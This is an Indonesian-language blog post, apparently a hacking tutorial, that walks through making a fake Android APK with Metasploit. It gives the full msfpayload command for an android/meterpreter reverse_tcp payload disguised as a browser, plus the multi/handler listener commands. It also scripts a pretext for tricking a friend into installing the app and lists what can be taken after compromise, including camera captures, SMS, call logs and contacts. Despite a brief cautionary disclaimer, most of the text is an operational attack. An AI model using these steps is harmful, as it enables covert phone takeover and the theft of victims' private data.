Mengambil alih android dengan sebuah backdoor apk

DarkSUSE ~ Assalaamualaikum Wr.Wb.
Selamat pagi/siang/sore sahabat DS! Apakabar kalian semua? Pada kesempatan kali ini, DarkSUSE akan menjelaskan cara melakukan penetrasi dengan membuat apk palsu untuk sebuah android. Sebelumnya artikel ini hanyalah sebuah pembelajaran untuk kita semua, agar lebih berhati-hati saat menginstall apk yang bukan berasal dari developer resminya.

Ok, kita mulai dengan bahan-bahan yang dibutuhkan untuk melakukan semua itu. Kami menggunakan:

1. Linux Operating System (Ubuntu 14.04).
2. Metasploit Framework (Sudah saya install/clone dari git).
3. Gadget Milik saya pribadi untuk membuat sebuah hotspot.
4. Target + Gadget.
5. Sebuah alasan yang harus anda buat agar target percaya.

NB: Untuk nomor 3, yang terpenting adalah anda dan target berada dalam satu jaringan yang sama.

Ok! Apabila anda sudah memiliki semua yang dibutuhkan, kita akan melakukan inti dari artikel ini.
Pertama anda harus mengetahui IP local anda. Ingat BUKAN IP PUBLIC!

IP kami: 192.168.43.179

Caranya adalah dengan menggunakan perintah

~$ ifconfig

Setelah anda mengetahui IP anda, masukan perintah berikut ini:

~$ msfpayload android/meterpreter/reverse_tcp LHOST=IP_ANDA LPORT=4444 R > /var/www/html/browser_baru.apk

Sehingga file apk nya akan digenerate ke directory yang digunakan agar target mendownload apk tersebut melalui http://IP_Kita/nama_apk.apk. Lalu setelah itu saat target anda meminta password portable hotspot kita, kita suruh dia agar mendownload. (kami tidak menggunakan ini, namun kami mengirimkan file apk kami melalui bluetooth kepada target).

Alasan yang kami gunakan:
"Bro, cobain sekalian browser baru nih buatan gw. Lebih cepet loh kalau make browser ini."

Ok, sembari menunggu dia mendownload apk kita, kita jalankan perintah berikut:

~$ msfconsole

~$ use exploit/multi/handler

~$ use PAYLOAD android/meterpreter/reverse_tcp

~$ set LHOST 192.168.43.179

~$ set LPORT 4444

Seperti gambar dibawah ini:

Setelah sudah siap masukan perintah berikutnya yaitu:

~$ exploit

Lalu tunggu hingga target eksekusi file installan dari apk kita. Dan jangan lupa berdoa agar semua berhasil. Hehehe...

Apabila target telah mengeksekusinya maka terlihat data interaksi seperti gambar dibawah ini:

Setelah itu kita dapat melakukan apapun yang kita inginkan (selama koneksi kita dengan target tidak terputus). Dalam hal ini kami mengupload sebuah file txt pada penyimpanan data (bluetooth) si target. File tersebut bernama "p0wn3d.txt". Berikut kumpulan gambar nya, karena capek ngetik terus. Hahahahaha

Edited for Tambahan:
Tak hanya dapat melakukan download dan upload, masih banyak yang dapat dilakukan oleh yang memraktekan seperti capture kamera depan, capture kamera belakang, mengecek apakah gadget tersebut sudah diroot atau belum, mengambil sms record, mengambil call record, contacts data yang ada diHP target, dll. Anda dapat melihat apa saja yang dapat dilakukan dengan mengetikan:

meterpreter > help

Ok, mungkin sekian dulu artikel kali ini. Semoga bermanfaat untuk semua sahabat DS. Jangan percaya terhadap aplikasi android yang diminta diinstall oleh teman anda sendiri, sekalipun itu adalah sahabat anda sendiri. Karena semakin anda percaya kepada seseorang, semakin mudah anda terkena teknik ini.

Assalamualaikum Wr.Wb